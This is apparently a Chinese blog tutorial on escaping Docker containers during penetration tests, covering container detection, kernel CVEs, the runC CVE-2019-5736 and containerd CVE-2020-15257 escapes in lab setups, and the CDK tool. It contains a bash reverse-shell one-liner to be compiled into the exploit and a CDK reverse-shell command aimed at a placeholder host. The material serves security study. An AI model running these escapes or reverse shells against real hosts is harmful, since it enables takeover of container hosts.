云上攻防-云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

知识点

1、云原生-Docker安全-容器逃逸&内核漏洞

2、云原生-Docker安全-容器逃逸&版本漏洞

3、云原生-Docker安全-容器逃逸&CDK自动化

章节点:

bash 复制代码
云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等

1、Docker是干嘛的?

bash 复制代码
一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

2、Docker对于渗透测试影响?

bash 复制代码
攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

3、前渗透-判断是否在容器中

前提:拿到权限
https://blog.csdn.net/qq_23936389/article/details/131486643

方式一:查询cgroup信息

最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。

bash 复制代码
cat /proc/1/cgroup

docker 环境下:

K8s环境下:

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。

K8s&docker环境下:

bash 复制代码
ls -alh /.dockerenv 

可以找到文件。

方式三:查看端口运行情况

bash 复制代码
netstat -anpt

4、后渗透-三种安全容器逃逸

bash 复制代码
特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
docker自身版本漏洞&系统内核漏洞(软件版本漏洞和系统漏洞 高低权限都可用)

参考地址:https://wiki.teamssix.com/CloudNative/

一、演示案例-云原生-Docker安全-容器逃逸&系统内核漏洞

细节部分在权限提升章节会详解,常用:

bash 复制代码
CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 
CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222

二、演示案例-云原生-Docker安全-容器逃逸&docker版本漏洞

CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

影响版本:

bash 复制代码
Docker version <= 18.09.2
RunC version <= 1.0-rc6

1、安装docker对应版本

bash 复制代码
apt-get update

apt-get install -y apt-transport-https ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=18.06.1~ce~3-0~ubuntu


2、启动靶场环境测试

bash 复制代码
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest


3、编译修改后EXP后等待管理员进入容器执行

https://github.com/Frichetten/CVE-2019-5736-PoC


bash 复制代码
bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

修改完毕后,要把这个main.go编译成main文件

bash 复制代码
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go



bash 复制代码
docker cp main 7f4793f3ac0cd13:/


bash 复制代码
chmod 777 main

执行main文件

bash 复制代码
./main

真实系统管理员重新进入该容器触发反弹shell

bash 复制代码
docker exec -it 7f4793f3ac0cd13 /bin/bash



4、实验获取云服务器上docker搭建的Web权限后进行逃逸

bash 复制代码
docker run -it -p 8888:8080 vulhub/struts2:s2-053



该工具只能上传脚本文件目录,没法上传一些执行程序,需要拿到webshell利用webshell链接工具上传执行程序。

查看当前网站目录








CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

影响版本:

bash 复制代码
containerd < 1.4.3
containerd < 1.3.9

1、安装docker对应版本

bash 复制代码
apt-get update

apt-get install ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

add-apt-
repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

2、启动环境测试:

bash 复制代码
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash  //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
docker exec -it 5be3ed60f152 /bin/bash

3、上传CDK工具自动逃逸反弹

bash 复制代码
docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp
bash 复制代码
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx  //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描


4、实验获取到docker搭建的Web权限后进行逃逸






三、演示案例-云原生-Docker安全-容器逃逸&CDK自动化

项目地址

https://github.com/cdk-team/CDK

不支持系统内核漏洞

演示-特权模式








也可以指定漏洞利用




相关推荐
独行soc1 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
鸠摩智首席音效师1 小时前
Docker 中如何限制CPU和内存的使用 ?
docker·容器
Michaelwubo2 小时前
Docker dockerfile镜像编码 centos7
运维·docker·容器
jingyu飞鸟2 小时前
centos-stream9系统安装docker
linux·docker·centos
好像是个likun2 小时前
使用docker拉取镜像很慢或者总是超时的问题
运维·docker·容器
独行soc3 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
Clockwiseee4 小时前
php伪协议
windows·安全·web安全·网络安全
黑客Ash4 小时前
安全算法基础(一)
算法·安全
云云3214 小时前
搭建云手机平台的技术要求?
服务器·线性代数·安全·智能手机·矩阵
云云3214 小时前
云手机有哪些用途?云手机选择推荐
服务器·线性代数·安全·智能手机·矩阵